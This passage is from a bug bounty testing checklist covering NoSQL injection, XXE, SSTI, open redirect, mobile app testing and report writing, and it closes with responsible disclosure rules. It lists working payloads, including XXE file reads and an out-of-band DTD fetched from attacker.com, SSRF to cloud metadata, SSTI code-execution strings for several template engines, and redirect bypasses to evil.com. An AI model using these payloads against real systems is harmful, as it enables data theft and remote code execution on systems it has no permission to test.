 - ☐ username[\$ne]=invalid&password[\$ne]=invalid
 - ☐ JSON body: {"username": {"\$regex": ".*"}}
- ☐ **CouchDB, Redis, Elasticsearch**
 - ☐ CouchDB _all_docs endpoint exposure

- ☐ Elasticsearch search query manipulation

23. XML External Entity (XXE) Critical

23.1 XXE Detection

- ☐ **Identify XML parsing endpoints**
 - ☐ SOAP web services
 - ☐ XML-based APIs (REST with application/xml)
 - ☐ File upload (DOCX, XLSX, SVG, PDF)
 - ☐ RSS/Atom feed processing
- ☐ **In-band XXE testing**
 - ☐ `<!DOCTYPE foo [<!ENTITY xxe SYSTEM "file:///etc/passwd">]>`
 - ☐ `<foo>&xxe;</foo>`
- ☐ **Out-of-band (OOB) XXE**
 - ☐ `<!DOCTYPE foo [<!ENTITY % xxe SYSTEM "http://attacker.com/evil.dtd"> %xxe;]>`
 - ☐ Use Burp Collaborator or DNSBin for detection

23.2 XXE Exploitation

- ☐ **File extraction**
 - ☐ `file:///etc/passwd` (Linux)
 - ☐ `file:///C:/Windows/win.ini` (Windows)
 - ☐ `php://filter/convert.base64-encode/resource=/etc/passwd`
- ☐ **SSRF via XXE**
 - ☐ `http://169.254.169.254/latest/meta-data/` (AWS)
 - ☐ `http://internal.service/sensitive-endpoint`
- ☐ **Denial of Service via XXE**
 - ☐ Billion Laughs attack
 - ☐ Recursive entity reference

24. Server-Side Template Injection (SSTI) Critical

24.1 SSTI Detection

- ☐ **Identify template injection points**
 - ☐ User input reflected in error pages
 - ☐ Email templates, invoice generation
 - ☐ Custom page/content editing features

- ☐ **Polyglot test payloads**
 - ☐ `{{7*7}}` - Jinja2/Angular detection
 - ☐ `${7*7}` - Java EL detection
 - ☐ `#{7*7}` - Ruby ERB detection
 - ☐ `{{7*'7'}}` - Twig/Jinja differentiation
 - ☐ `<%= 7*7 %>` - ERB/ASP detection

24.2 SSTI Exploitation by Engine

- ☐ **Jinja2 (Python)**
 - ☐ `{{config}}` for configuration leak
 - ☐ `{{'__.__class__.__mro__[1].__subclasses__()'}}` for RCE
- ☐ **Twig (PHP)**
 - ☐ `{{_self.env.getFilter("id")}}` or RCE via object injection
- ☐ **Java (FreeMarker, Thymeleaf, Velocity)**
 - ☐ `${"freemarker.template.utility.Execute"?new()("id")}`
 - ☐ `#T(java.lang.Runtime).getRuntime().exec("id")`
- ☐ **Ruby (ERB)**
 - ☐ `<%= system("id") %>`
 - ☐ `<%= `whoami` %>`

25. Open Redirect Low-Medium

25.1 Open Redirect Detection

- ☐ **Identify redirect parameters**
 - ☐ `redirect`, `return`, `returnUrl`, `next`, `url`, `callback`, `goto`
 - ☐ Verify if arbitrary URL redirection is allowed
- ☐ **Test redirect bypass techniques**
 - ☐ Protocol-relative: `//evil.com`
 - ☐ @ trick: `https://target.com.evil.com`
 - ☐ @ trick: `https://target.com@evil.com`
 - ☐ Data URI: `data:text/html,<script>alert(1)</script>`
 - ☐ Whitespace bypass: `/ evil.com`
 - ☐ Unicode homograph: `target.com.xn--e1awd7f.com`

25.2 Chaining Open Redirects

- ☐ **OAuth flow manipulation via open redirect**

- ☐ Steal authorization code via redirect to attacker
- ☐ **SSRF via open redirect**
 - ☐ Redirect to internal services via whitelisted domain
- ☐ **XSS via javascript: redirect**
 - ☐ redirect=javascript:alert(document.cookie)

26. Mobile-Specific Testing High

26.1 Android Testing

- ☐ **APK reverse engineering**
 - ☐ Decompile APK with apktool/JADX
 - ☐ Extract hardcoded API keys and secrets
 - ☐ Analyze AndroidManifest.xml for exported components
- ☐ **Intent interception and injection**
 - ☐ Test exported activities, services, receivers
 - ☐ Deep link hijacking (/api/supported-hosts/)
- ☐ **Insecure data storage**
 - ☐ Check SharedPreferences for sensitive data
 - ☐ Check local database (SQLite) contents
 - ☐ External storage data leakage

26.2 iOS Testing

- ☐ **IPA extraction and analysis**
 - ☐ Decrypt IPA with Frida/iOS decrypt tools
 - ☐ Class-dump for method analysis
- ☐ **Insecure data storage**
 - ☐ Keychain analysis for credential storage
 - ☐ Plist file inspection
- ☐ **URL scheme hijacking**
 - ☐ Test for insecure URL scheme handling
 - ☐ Universal Links / App Links validation

26.3 Mobile API & Network Testing

- ☐ **Certificate pinning bypass**
 - ☐ Use Frida/SSL Kill Switch 2 for bypass
 - ☐ Intercept traffic with Burp Suite

- ☐ **Hardcoded secrets in mobile binaries**
 - ☐ API keys embedded in source code
 - ☐ Hardcoded encryption keys
- ☐ **Root/jailbreak detection bypass**
 - ☐ Use Frida to bypass root detection
 - ☐ Test app behavior on rooted devices

27. Final Report Checklist Essential

27.1 Before Reporting

- ☐ **Verify the vulnerability exists and is reproducible**
 - ☐ Create minimal reproduction steps
 - ☐ Test on multiple endpoints if applicable
 - ☐ Confirm impact and severity assessment
- ☐ **Check scope alignment**
 - ☐ Verify target is in-scope
 - ☐ Confirm out-of-scope assets are not included
 - ☐ Review program rules and exclusions
- ☐ **Impact demonstration**
 - ☐ Create proof-of-concept video/screenshots
 - ☐ Demonstrate maximum realistic impact
 - ☐ Show data that could be accessed/modified

27.2 Report Writing

- ☐ **Clear title and summary**
 - ☐ Specific vulnerability type and location
 - ☐ One-sentence impact statement
- ☐ **Step-by-step reproduction**
 - ☐ Exact requests (cursors, parameters, headers)
 - ☐ Expected vs actual behavior
 - ☐ Include HTTP requests/responses or commands
- ☐ **Impact assessment**
 - ☐ What an attacker could achieve
 - ☐ Affected users/data scope
 - ☐ Business impact explanation
- ☐ **Remediation suggestions**

- ☐ Specific fix recommendation
- ☐ Reference to security best practices
- ☐ CWE and CVSS scoring

27.3 Post-Submission

- ☐ **Maintain professional communication**
 - ☐ Respond promptly to triager questions
 - ☐ Provide additional information when requested
- ☐ **Responsible disclosure practices**
 - ☐ Do not publicly disclose before fix
 - ☐ Do not access other users' data beyond POC
 - ☐ Do not exploit beyond proof of impact

Methodology Reminder

This checklist covers the most common vulnerability categories in bug bounty programs. However, every application is unique. Always adapt your testing methodology to the specific technology stack, business logic, and features of the target. The most critical bugs often lie in the intersection of multiple vulnerabilities - combining an information disclosure with an access control bypass, or chaining an open redirect into an account takeover. Think creatively, document thoroughly, and always test responsibly.